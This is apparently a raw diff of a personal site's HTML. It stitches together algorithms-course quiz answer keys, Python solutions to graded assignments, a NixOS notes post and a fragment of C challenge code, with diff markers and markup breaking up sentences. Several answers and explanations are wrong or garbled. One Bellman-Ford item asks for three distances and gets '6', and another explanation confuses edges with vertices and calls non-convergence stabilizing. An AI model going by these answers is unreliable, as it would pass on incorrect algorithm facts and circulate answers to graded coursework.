xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>d</mi><mi>i</mi><mi>s</mi><mi>t</mi><mo>=</mo><mo stretchy="false">{</mo><msub><mi>V</mi><mn>0</mn></msub><mo>:</mo><mn>0</mn><mo separator="true">,</mo><msub><mi>V</mi><mn>1</mn></msub><mo>:</mo><mn>5</mn><mo separator="true">,</mo><msub><mi>V</mi><mn>2</mn></msub><mo>:</mo><mn>3</mn><mo separator="true">,</mo><msub><mi>V</mi><mn>3</mn></msub><mo>:</mo><mn>8</mn><mo separator="true">,</mo><msub><mi>V</mi><mn>4</mn></msub><mo>:</mo><mn>10</mn><mo stretchy="false">}</mo></mrow><annotation encoding="application/x-tex">dist = \{V_0:0, V_1:5, V_2:3, V_3:8, V_4:10\}</annotation></semantics></math></span>. And the processed set is: <span class="katex"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mo stretchy="false">{</mo><msub><mi>V</mi><mn>0</mn></msub><mo>:</mo><mi>T</mi><mi>r</mi><mi>u</mi><mi>e</mi><mo separator="true">,</mo><msub><mi>V</mi><mn>1</mn></msub><mo>:</mo><mi>F</mi><mi>a</mi><mi>l</mi><mi>s</mi><mi>e</mi><mo separator="true">,</mo><msub><mi>V</mi><mn>2</mn></msub><mo>:</mo><mi>F</mi><mi>a</mi><mi>l</mi><mi>s</mi><mi>e</mi><mo separator="true">,</mo><msub><mi>V</mi><mn>3</mn></msub><mo>:</mo><mi>F</mi><mi>a</mi><mi>l</mi><mi>s</mi><mi>e</mi><mo separator="true">,</mo><msub><mi>V</mi><mn>4</mn></msub><mo>:</mo><mi>F</mi><mi>a</mi><mi>l</mi><mi>s</mi><mi>e</mi><mo stretchy="false">}</mo></mrow><annotation encoding="application/x-tex">\{V_0:True, -V_1:False, V_2:False, V_3:False, V_4:False\}</annotation></semantics></math></span>. Assuming the next step is to select an unvisited -vertex to mark as processed, which vertex will be chosen?</p>for seshu baby mwa mwahttps://lavafroth.is-a.dev/ilrlmvakdlx9uwodtocdbg/Fri, 03 Oct 2025 16:04:18 +0530https://lavafroth.is-a.dev/ilrlmvakdlx9uwodtocdbg/<blockquote> -<p>Update: I have added the GA 2 sols as well. Please take them with a grain of salt obviously -I am also fallible to mistakes.</p> -</blockquote> -<h1 id="aq21">AQ2.1</h1> -<ol> -<li><span class="katex"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>O</mi><mo stretchy="false">(</mo><msup><mi>n</mi><mn>2</mn></msup><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex"> O(n^2) </annotation></semantics></math></span></li> -<li><span class="katex"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>O</mi><mo stretchy="false">(</mo><mi>n</mi><mtext> </mtext><mi>l</mi><mi>o</mi><mi>g</mi><mtext> </mtext><mi>n</mi><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex"> O(n\ log\ n) </annotation></semantics></math></span></li> -<li><span class="katex"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>O</mi><mo stretchy="false">(</mo><msup><mi>n</mi><mn>3</mn></msup><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex"> O(n^3) </annotation></semantics></math></span></li> -<li><span class="katex"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>O</mi><mo stretchy="false">(</mo><mi>n</mi><mo>+</mo><mi>l</mi><mi>o</mi><mi>g</mi><mtext> </mtext><mi>m</mi><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex"> O(n + log\ m) </annotation></semantics></math></span></li> -<li><span class="katex"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>O</mi><mo stretchy="false">(</mo><mi>l</mi><mi>o</mi><mi>g</mi><mtext> </mtext><mi>n</mi><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex"> O(log\ n) </annotation></semantics></math></span></li> -<li><span class="katex"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>O</mi><mo stretchy="false">(</mo><msup><mi>n</mi><mn>2</mn></msup><mtext> </mtext><mi>l</mi><mi>o</mi><mi>g</mi><mtext> </mtext><mi>n</mi><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex"> O(n^2\ log\ n) </annotation></semantics></math></span></li> -</ol> -<h1 id="aq22">AQ2.2</h1> -<ol> -<li><span class="katex"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>O</mi><mo stretchy="false">(</mo><mi>l</mi><mi>o</mi><mi>g</mi><mtext> </mtext><mi>n</mi><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex"> O(log\ n) </annotation></semantics></math></span></li> -<li>5</li> -<li>3</li> -<li>3</li> -<li>2</li> -<li>Multiple options: -<ul> -<li>It works only on sorted arrays.</li> -<li>It has a best-case time complexity of O(1).</li> -</ul> -</li> -</ol> -<h1 id="aq23">AQ2.3</h1> -<blockquote> -<p>Selection sort always makes n(n-1)/2 comparisons which is of order <span class="katex"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>O</mi><mo stretchy="false">(</mo><msup><mi>n</mi><mn>2</mn></msup><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex"> O(n^2) </annotation></semantics></math></span></p>w8https://lavafroth.is-a.dev/divmqbyvl9y/Fri, 03 Oct 2025 16:04:18 +0530https://lavafroth.is-a.dev/divmqbyvl9y/<h2 id="grpa-1">GRPA 1</h2> -<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span><span style="color:#66d9ef">def</span> <span style="color:#a6e22e">findOccOf</span>(arr, x): -</span></span><span style="display:flex;"><span> lo <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span> -</span></span><span style="display:flex;"><span> hi <span style="color:#f92672">=</span> len(arr) <span style="color:#f92672">-</span> <span style="color:#ae81ff">1</span> -</span></span><span style="display:flex;"><span> -</span></span><span style="display:flex;"><span> loval <span style="color:#f92672">=</span> <span style="color:#66d9ef">None</span> -</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">while</span> lo <span style="color:#f92672">&lt;=</span> hi: -</span></span><span style="display:flex;"><span> mid <span style="color:#f92672">=</span> (lo <span style="color:#f92672">+</span> hi) <span style="color:#f92672">//</span> <span style="color:#ae81ff">2</span> -</span></span><span style="display:flex;"><span> c <span style="color:#f92672">=</span> arr[mid] -</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> x <span style="color:#f92672">&lt;</span> c: -</span></span><span style="display:flex;"><span> hi <span style="color:#f92672">=</span> mid <span style="color:#f92672">-</span> <span style="color:#ae81ff">1</span> -</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">elif</span> x <span style="color:#f92672">&gt;</span> c: -</span></span><span style="display:flex;"><span> lo <span style="color:#f92672">=</span> mid <span style="color:#f92672">+</span> <span style="color:#ae81ff">1</span> -</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">elif</span> x <span style="color:#f92672">==</span> c: -</span></span><span style="display:flex;"><span> loval <span style="color:#f92672">=</span> loval <span style="color:#f92672">or</span> mid -</span></span><span style="display:flex;"><span> loval <span style="color:#f92672">=</span> min(loval, mid) -</span></span><span style="display:flex;"><span> hi <span style="color:#f92672">=</span> mid <span style="color:#f92672">-</span> <span style="color:#ae81ff">1</span> -</span></span><span style="display:flex;"><span> -</span></span><span style="display:flex;"><span> lo <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span> -</span></span><span style="display:flex;"><span> hi <span style="color:#f92672">=</span> len(arr) <span style="color:#f92672">-</span> <span style="color:#ae81ff">1</span> -</span></span><span style="display:flex;"><span> hival <span style="color:#f92672">=</span> <span style="color:#66d9ef">None</span> -</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">while</span> lo <span style="color:#f92672">&lt;=</span> hi: -</span></span><span style="display:flex;"><span> mid <span style="color:#f92672">=</span> (lo <span style="color:#f92672">+</span> hi) <span style="color:#f92672">//</span> <span style="color:#ae81ff">2</span> -</span></span><span style="display:flex;"><span> c <span style="color:#f92672">=</span> arr[mid] -</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> x <span style="color:#f92672">&lt;</span> c: -</span></span><span style="display:flex;"><span> hi <span style="color:#f92672">=</span> mid <span style="color:#f92672">-</span> <span style="color:#ae81ff">1</span> -</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">elif</span> x <span style="color:#f92672">&gt;</span> c: -</span></span><span style="display:flex;"><span> lo <span style="color:#f92672">=</span> mid <span style="color:#f92672">+</span> <span style="color:#ae81ff">1</span> -</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">elif</span> x <span style="color:#f92672">==</span> c: -</span></span><span style="display:flex;"><span> hival <span style="color:#f92672">=</span> hival <span style="color:#f92672">or</span> mid -</span></span><span style="display:flex;"><span> hival <span style="color:#f92672">=</span> max(hival, mid) -</span></span><span style="display:flex;"><span> lo <span style="color:#f92672">=</span> mid <span style="color:#f92672">+</span> <span style="color:#ae81ff">1</span> -</span></span><span style="display:flex;"><span> -</span></span><span style="display:flex;"><span> -</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">return</span> loval, hival -</span></span></code></pre></div><h2 id="grpa-2">GRPA 2</h2> -<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span><span style="color:#66d9ef">def</span> <span style="color:#a6e22e">merge_inversion</span>(left, right): -</span></span><span style="display:flex;"><span> merged <span style="color:#f92672">=</span> [] -</span></span><span style="display:flex;"><span> count <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span> -</span></span><span style="display:flex;"><span> -</span></span><span style="display:flex;"><span> i, j <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span>, <span style="color:#ae81ff">0</span> -</span></span><span style="display:flex;"><span> -</span></span><span style="display:flex;"><span> m <span style="color:#f92672">=</span> len(left) -</span></span><span style="display:flex;"><span> n <span style="color:#f92672">=</span> len(right) -</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">while</span> i <span style="color:#f92672">+</span> j <span style="color:#f92672">&lt;</span> m <span style="color:#f92672">+</span> n: -</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> j <span style="color:#f92672">==</span> n <span style="color:#f92672">or</span> (i <span style="color:#f92672">!=</span> m <span style="color:#f92672">and</span> left[i] <span style="color:#f92672">&lt;</span> right[j]): -</span></span><span style="display:flex;"><span> merged<span style="color:#f92672">.</span>append(left[i]) -</span></span><span style="display:flex;"><span> i <span style="color:#f92672">+=</span> <span style="color:#ae81ff">1</span> -</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">continue</span> -</span></span><span style="display:flex;"><span> -</span></span><span style="display:flex;"><span> merged<span style="color:#f92672">.</span>append(right[j]) -</span></span><span style="display:flex;"><span> j <span style="color:#f92672">+=</span> <span style="color:#ae81ff">1</span> -</span></span><span style="display:flex;"><span> count <span style="color:#f92672">+=</span> m <span style="color:#f92672">-</span> i -</span></span><span style="display:flex;"><span> -</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">return</span> merged, count -</span></span><span style="display:flex;"><span> -</span></span><span style="display:flex;"><span> -</span></span><span style="display:flex;"><span><span style="color:#66d9ef">def</span> <span style="color:#a6e22e">sort_and_count</span>(arr): -</span></span><span style="display:flex;"><span> n <span style="color:#f92672">=</span> len(arr) -</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> n <span style="color:#f92672">==</span> <span style="color:#ae81ff">1</span>: -</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">return</span> arr, <span style="color:#ae81ff">0</span> -</span></span><span style="display:flex;"><span> left <span style="color:#f92672">=</span> arr[: n <span style="color:#f92672">//</span> <span style="color:#ae81ff">2</span>] -</span></span><span style="display:flex;"><span> right <span style="color:#f92672">=</span> arr[n <span style="color:#f92672">//</span> <span style="color:#ae81ff">2</span> :] -</span></span><span style="display:flex;"><span> -</span></span><span style="display:flex;"><span> left, count_left <span style="color:#f92672">=</span> sort_and_count(left) -</span></span><span style="display:flex;"><span> right, count_right <span style="color:#f92672">=</span> sort_and_count(right) -</span></span><span style="display:flex;"><span> merged, count_both <span style="color:#f92672">=</span> merge_inversion(left, right) -</span></span><span style="display:flex;"><span> -</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">return</span> (merged, count_left <span style="color:#f92672">+</span> count_right <span style="color:#f92672">+</span> count_both) -</span></span><span style="display:flex;"><span> -</span></span><span style="display:flex;"><span><span style="color:#66d9ef">def</span> <span style="color:#a6e22e">countIntersection</span>(a, b): -</span></span><span style="display:flex;"><span> tuples <span style="color:#f92672">=</span> sorted(zip(a, b)) -</span></span><span style="display:flex;"><span> b <span style="color:#f92672">=</span> [t[<span style="color:#ae81ff">1</span>] <span style="color:#66d9ef">for</span> t <span style="color:#f92672">in</span> tuples] -</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">return</span> sort_and_count(b)[<span style="color:#ae81ff">1</span>] -</span></span></code></pre></div><h2 id="grpa-3">GRPA 3</h2> -<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span>dist <span style="color:#f92672">=</span> <span style="color:#66d9ef">lambda</span> a, b: ((a[<span style="color:#ae81ff">0</span>]<span style="color:#f92672">-</span>b[<span style="color:#ae81ff">0</span>])<span style="color:#f92672">**</span><span style="color:#ae81ff">2</span> <span style="color:#f92672">+</span> (a[<span style="color:#ae81ff">1</span>]<span style="color:#f92672">-</span>b[<span style="color:#ae81ff">1</span>])<span style="color:#f92672">**</span><span style="color:#ae81ff">2</span>)<span style="color:#f92672">**</span><span style="color:#ae81ff">.5</span> -</span></span><span style="display:flex;"><span> -</span></span><span style="display:flex;"><span><span style="color:#66d9ef">def</span> <span style="color:#a6e22e">closest_pair</span>(Px, Py): -</span></span><span style="display:flex;"><span> n <span style="color:#f92672">=</span> len(Px) -</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> n <span style="color:#f92672">&lt;=</span> <span style="color:#ae81ff">3</span>: -</span></span><span style="display:flex;"><span> min_d <span style="color:#f92672">=</span> float(<span style="color:#e6db74">&#39;inf&#39;</span>) -</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">for</span> i <span style="color:#f92672">in</span> range(n): -</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">for</span> j <span style="color:#f92672">in</span> range(i <span style="color:#f92672">+</span> <span style="color:#ae81ff">1</span>, n): -</span></span><span style="display:flex;"><span> min_d <span style="color:#f92672">=</span> min(min_d, dist(Px[i], Px[j])) -</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">return</span> min_d -</span></span><span style="display:flex;"><span> -</span></span><span style="display:flex;"><span> mid <span style="color:#f92672">=</span> n <span style="color:#f92672">//</span> <span style="color:#ae81ff">2</span> -</span></span><span style="display:flex;"><span> Qx <span style="color:#f92672">=</span> Px[:mid] -</span></span><span style="display:flex;"><span> Rx <span style="color:#f92672">=</span> Px[mid:] -</span></span><span style="display:flex;"><span> mid_point <span style="color:#f92672">=</span> Qx[<span style="color:#f92672">-</span><span style="color:#ae81ff">1</span>][<span style="color:#ae81ff">0</span>] -</span></span><span style="display:flex;"><span> -</span></span><span style="display:flex;"><span> Qy <span style="color:#f92672">=</span> [] -</span></span><span style="display:flex;"><span> Ry <span style="color:#f92672">=</span> [] -</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">for</span> p <span style="color:#f92672">in</span> Py: -</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> p[<span style="color:#ae81ff">0</span>] <span style="color:#f92672">&lt;=</span> mid_point: -</span></span><span style="display:flex;"><span> Qy<span style="color:#f92672">.</span>append(p) -</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">else</span>: -</span></span><span style="display:flex;"><span> Ry<span style="color:#f92672">.</span>append(p) -</span></span><span style="display:flex;"><span> -</span></span><span style="display:flex;"><span> min_d <span style="color:#f92672">=</span> min(closest_pair(Qx, Qy), closest_pair(Rx, Ry)) -</span></span><span style="display:flex;"><span> -</span></span><span style="display:flex;"><span> Sy <span style="color:#f92672">=</span> [p <span style="color:#66d9ef">for</span> p <span style="color:#f92672">in</span> Py <span style="color:#66d9ef">if</span> mid_point <span style="color:#f92672">-</span> min_d <span style="color:#f92672">&lt;=</span> p[<span style="color:#ae81ff">0</span>] <span style="color:#f92672">&lt;=</span> mid_point <span style="color:#f92672">+</span> min_d] -</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">for</span> i <span style="color:#f92672">in</span> range(len(Sy)): -</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">for</span> j <span style="color:#f92672">in</span> range(i <span style="color:#f92672">+</span> <span style="color:#ae81ff">1</span>, len(Sy)): -</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> Sy[j][<span style="color:#ae81ff">1</span>] <span style="color:#f92672">-</span> Sy[i][<span style="color:#ae81ff">1</span>] <span style="color:#f92672">&gt;=</span> min_d: -</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">break</span> -</span></span><span style="display:flex;"><span> min_d <span style="color:#f92672">=</span> min(min_d, dist(Sy[i], Sy[j])) -</span></span><span style="display:flex;"><span> -</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">return</span> min_d -</span></span><span style="display:flex;"><span> -</span></span><span style="display:flex;"><span> -</span></span><span style="display:flex;"><span><span style="color:#66d9ef">def</span> <span style="color:#a6e22e">minDistance</span>(points): -</span></span><span style="display:flex;"><span> Px <span style="color:#f92672">=</span> sorted(points, key<span style="color:#f92672">=</span><span style="color:#66d9ef">lambda</span> p: p[<span style="color:#ae81ff">0</span>]) -</span></span><span style="display:flex;"><span> Py <span style="color:#f92672">=</span> sorted(points, key<span style="color:#f92672">=</span><span style="color:#66d9ef">lambda</span> p: p[<span style="color:#ae81ff">1</span>]) -</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">return</span> round(closest_pair(Px, Py), <span style="color:#ae81ff">2</span>) -</span></span></code></pre></div><h2 id="grpa-4">GRPA 4</h2> -<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span><span style="color:#66d9ef">def</span> <span style="color:#a6e22e">mid</span>(a): -</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> len(a) <span style="color:#f92672">&lt;=</span> <span style="color:#ae81ff">7</span>: -</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">return</span> sorted(a)[len(a)<span style="color:#f92672">//</span><span style="color:#ae81ff">2</span>] -</span></span><span style="display:flex;"><span> -</span></span><span style="display:flex;"><span> m <span style="color:#f92672">=</span> [] -</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">for</span> i <span style="color:#f92672">in</span> range(<span style="color:#ae81ff">0</span>,len(a), <span style="color:#ae81ff">7</span>): -</span></span><span style="display:flex;"><span> m<span style="color:#f92672">.</span>append(mid(a[i:i<span style="color:#f92672">+</span><span style="color:#ae81ff">7</span>])) -</span></span><span style="display:flex;"><span> -</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">return</span> mid(m) -</span></span><span style="display:flex;"><span> -</span></span><span style="display:flex;"><span><span style="color:#66d9ef">def</span> <span style="color:#a6e22e">MoM7Pos</span>(arr): -</span></span><span style="display:flex;"><span> m <span style="color:#f92672">=</span> mid(arr) -</span></span><span style="display:flex;"><span> pos <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span> -</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">for</span> x <span style="color:#f92672">in</span> arr: -</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> x <span style="color:#f92672">&lt;</span> m: -</span></span><span style="display:flex;"><span> pos <span style="color:#f92672">+=</span> <span style="color:#ae81ff">1</span> -</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">return</span> pos -</span></span></code></pre></div>NixOS Notes to Selfhttps://lavafroth.is-a.dev/post/nixos-notes-to-self/Sun, 14 Sep 2025 18:31:52 +0530https://lavafroth.is-a.dev/post/nixos-notes-to-self/<p>A dedicated post collecting solutions to minor NixOS headaches.</p> +Use the collapse explanation button to copy multiple code blocks in one go.</p>NixOS Notes to Selfhttps://lavafroth.is-a.dev/post/nixos-notes-to-self/Sun, 14 Sep 2025 18:31:52 +0530https://lavafroth.is-a.dev/post/nixos-notes-to-self/<p>A dedicated post collecting solutions to minor NixOS headaches.</p> <h2 id="nixos-rebuild-shows-no-network-activity"><code>nixos-rebuild</code> shows no network activity</h2> <p>On rare occasions, a system rebuild will get stuck while downloading a package from a source. No network activity, no timeout, no writes to the nix store.</p> @@ -896,7 +663,7 @@ easy to setup Arch for gaming, thanks to programs like <a href="https://lutri code for the program running on the remote server:</p> <div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c" data-lang="c"><span style="display:flex;"><span><span style="color:#75715e">#include</span> <span style="color:#75715e">&lt;stdio.h&gt;</span><span style="color:#75715e"> </span></span></span><span style="display:flex;"><span><span style="color:#75715e">#include</span> <span style="color:#75715e">&lt;stdlib.h&gt;</span><span style="color:#75715e"> -</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span> +</span></span></span><span style="display:flex;"><span> </span></span><span style="display:flex;"><span><span style="color:#66d9ef">static</span> <span style="color:#66d9ef">int</span> <span style="color:#a6e22e">addIntOvf</span>(<span style="color:#66d9ef">int</span> result, <span style="color:#66d9ef">int</span> a, <span style="color:#66d9ef">int</span> b) { </span></span><span style="display:flex;"><span> result <span style="color:#f92672">=</span> a <span style="color:#f92672">+</span> b; </span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span>(a <span style="color:#f92672">&gt;</span> <span style="color:#ae81ff">0</span> <span style="color:#f92672">&amp;&amp;</span> b <span style="color:#f92672">&gt;</span> <span style="color:#ae81ff">0</span> <span style="color:#f92672">&amp;&amp;</span> result <span style="color:#f92672">&lt;</span> <span style="color:#ae81ff">0</span>) diff --git a/jfgp3d7rrx0/index.html b/jfgp3d7rrx0/index.html deleted file mode 100644 index 172a9d97..00000000 --- a/jfgp3d7rrx0/index.html +++ /dev/null @@ -1,112 +0,0 @@ -secret note jfgp3d7rrx0 - lavafroth

secret note jfgp3d7rrx0

There will be an explanation for non-trivial questions.

Activity 1

1

Dijkstra’s algorithm guarantees finding the shortest path from a single source to all other vertices under which of the following conditions?

Answer: All edge weights must be non-negative.

2

Consider an undirected graph with 5 vertices (V0,V1,V2,V3,V4)(V_0, V_1, V_2, V_3, V_4). At a certain point -in Dijkstra’s algorithm (starting from V0V_0), the current tentative distances are: -dist={V0:0,V1:5,V2:3,V3:8,V4:10}dist = \{V_0:0, V_1:5, V_2:3, V_3:8, V_4:10\}. And the processed set is: {V0:True,V1:False,V2:False,V3:False,V4:False}\{V_0:True, -V_1:False, V_2:False, V_3:False, V_4:False\}. Assuming the next step is to select an unvisited -vertex to mark as processed, which vertex will be chosen?

Answer: V2V_2

Explanation: Dijkstra will choose the next unprocessed vertex with the least weight.

3

Which of the following components is/are essential for a standard implementation of Dijkstra’s algorithm?

Answers:

  • A way to store the tentative shortest distance to each vertex.
  • A set to keep track of vertices whose shortest paths have been finalized.
  • A mechanism to select the unvisited vertex with the smallest current distance.

4

Consider an undirected graph with vertices S, A, B, C, D and edges with weights: S-A (4), S-B (2), A-C (5), B-A (1), B-D (8), C-D (3). If Dijkstra’s algorithm starts from vertex ‘S’, what is the value of dist[D] immediately after vertex ‘A’ has been marked as processed?

Answer: 10

5

When Dijkstra’s algorithm is examining an edge (u, v) from a newly processed vertex u , and it finds that the path source -> … -> u -> v offers a shorter route to v than its currently recorded shortest distance ( dist[v] ), what is the direct consequence for dist[v] and v ’s status?

Answer: -dist[v] is updated, and v’s status remains un-processed, awaiting its turn in a future selection step

6

Given a weighted graph where weights of all edges are unique, there is always a unique shortest path from a source to destination in such a graph.

Answer: False

Explanation: There can be multiple sequence of edges from vertex AA to BB representing the shortest path. The only necessary property is that the sum of the weights on these edges is the least.

Activity 2

1

What is a fundamental capability of the Bellman-Ford algorithm that distinguishes it from Dijkstra’s algorithm for finding shortest paths?

Answer: It is able to correctly find shortest paths in graphs containing negative edge weights.

2

For a graph with 7 vertices and 10 edges, if it contains no negative cycles, what is the minimum number of passes over all edges that the Bellman-Ford algorithm needs to perform to guarantee that all shortest path distances are finalized?

Answer: 6

3

Consider the following directed graph. If the Bellman-Ford algorithm starts from vertex ‘S’, what are the shortest distances to vertices ‘A’, ‘B’, and ‘C’ (in that order: dist[A] , dist[B] , dist[C] ) after exactly 2 passes over all edges?

Answer: 6

Explanation: It takes n1n-1 iterations for a graph with nn edges to stabilize via Bellman Ford if there are no negative edges.

If the graph stabilizes further from the nn iteration onwards, it contains negative cycles.

4

When Bellman-Ford performs a pass over all edges, does the order in which edges are relaxed within that single pass affect the final shortest path distances after all V−1 passes (assuming no negative cycles are present)?

Answer: No, the order of edge relaxation within a pass does not affect the final distances after all V−1 passes.

5

Which of the following statements accurately describe properties or uses of the Bellman-Ford algorithm?

Answers:

  • If a negative cycle is detected, the algorithm reports its presence and may not produce valid shortest paths for affected vertices.
  • The algorithm is suitable for distributed shortest path computation.

6

Given a graph where all edges have positive weights, the shortest path produced by Dijkstra’s and Bellman Ford algorithm may be different but path weight would be same.

Answer: True

Activity 3

1

What type of shortest path problem is the Floyd-Warshall algorithm designed to solve?

Answer: All-pairs shortest paths in graphs with negative edge weights or positive edge weights (but no negative cycles).

2

The core update rule in Floyd-Warshall is

dist[i][j]=min(dist[i][j],dist[i][k]+dist[k][j])dist[i][j] = min(dist[i][j], dist[i][k] + dist[k][j])

What does the variable k fundamentally represent in this context?

Answer: An intermediate vertex that might lie on a shortest path from i to j

3

What is the time complexity of the Floyd-Warshall algorithm for a graph with N vertices?

Answer: O(N3)O(N^3)

4

How does the Floyd-Warshall algorithm detect the presence of a negative weight cycle in the graph?

Answer: By observing if any dist[i][i] (distance from a vertex to itself) becomes negative after all iterations

5

Consider a graph with 3 vertices {1, 2, 3}. The initial distance matrix dist is given as: dist[1][1] = 0, dist[1][2] = 2, dist[1][3] = 7 dist[2][1] = inf, dist[2][2] = 0, dist[2][3] = 3 dist[3][1] = inf, dist[3][2] = inf, dist[3][3] = 0

What is the value of dist[1][3] after the iteration where k = 2 is considered as the intermediate vertex?

Answer: 5

6

Consider a graph with 3 vertices {1, 2, 3}. The initial distance matrix dist is set up. dist[1][1]=0, dist[1] [2]=5, dist[1][3]=inf dist[2][1]=inf, dist[2][2]=0, dist[2][3]=2 dist[3][1]=inf, dist[3] [2]=inf, dist[3][3]=0

After all iterations of the Floyd-Warshall algorithm, what will be the value of dist[3][1]dist[3][1]?

Answer: inf

Explanation: The distance of 3 to 1 is never updated.

Activity 4

1

Prim’s algorithm builds the Minimum Spanning Tree (MST) by iteratively adding edges. At each step, which type of edge does it always select?

Answer: The edge with the smallest weight that connects a vertex already in the MST to a vertex not yet in the MST

2

Consider the following undirected graph. If Prim’s algorithm starts from vertex ‘A’, what is the total weight of the Minimum Spanning Tree (MST) it finds?

Graph: A-B (4), A-C (2), B-C (5), B-D (10), C-D (3), C-E (7), D-E (1)

Answer: 10

3

A connected, undirected graph has 6 vertices and 7 edges. If Prim’s algorithm is used to find its Minimum Spanning Tree, how many edges will be included in the final MST?

Answer: 5

4

When is the Minimum Spanning Tree (MST) of a connected, weighted graph guaranteed to be unique?

Answer: If all edge weights in the graph are distinct.

5

Suppose Prim’s algorithm has constructed an MST for a graph. If the weight of an edge not currently in the MST is decreased, will the existing MST always change?

Answer: Not necessarily; the MST will change only if the decreased edge becomes the new minimum edge across some cut that was previously crossed by a different (heavier) MST edge.

6

If Prim’s algorithm has generated a Minimum Spanning Tree (MST) for a connected graph, the unique path between any two vertices within that MST is always the shortest path between those two vertices in the original graph

Answer: False

Activity 5

1

Which of the following statements about how Kruskal’s algorithm constructs the MST are true?

Answer: (Yes there is only one I think is correct)

  • It adds an edge only if it connects two vertices that belong to different existing components.

2

A graph has 5 vertices {V1, V2, V3, V4, V5}. Kruskal’s algorithm is applied. Initially, each vertex is in its own set: {V1}, {V2}, {V3}, {V4}, {V5}. Consider the following sequence of edges processed by Kruskal’s algorithm:

(V1, V2) - weight 2 -(V3, V4) - weight 3 -(V1, V3) - weight 4 -(V2, V4) - weight 5 -(V5, V2) - weight 6

How many distinct connected components are there after these 5 edges have been processed and decisions made?

Answer: 1

3

If Kruskal’s algorithm considers an edge e and decides not to include it in the MST, what is the precise reason for this exclusion?

Answer: Adding edge e would connect two vertices that are already in the same connected component within the set of edges already chosen for the MST.

4

A graph has 7 vertices and consists of 3 distinct connected components. Kruskal’s algorithm is executed on this graph. Assuming all components are non-empty and connected internally, how many edges will Kruskal’s algorithm include in the resulting Minimum Spanning Forest (MSF)?

Answer: 4

5

If Kruskal’s algorithm rejects an edge e (meaning e is not included in the MST), it implies that e is the heaviest edge in any cycle that e forms with edges already selected for the MST.

Answer: True

6

In a connected undirected graph with more than three vertices and all distinct edge weights, the two edges with the smallest weights will always be part of its Minimum Spanning Tree (MST).

Answer: True

GrPAs

1

We are implementing Kruskal’s algorithm because it’s just a tad bit easier than Prim’s algorithm.

def FiberLink(wl):
-    sum, edges, component = 0, [], {}
-    for u, u_edges in wl.items():
-        component[u] = u
-        for v, d in u_edges:
-            edges.append((d, u, v))
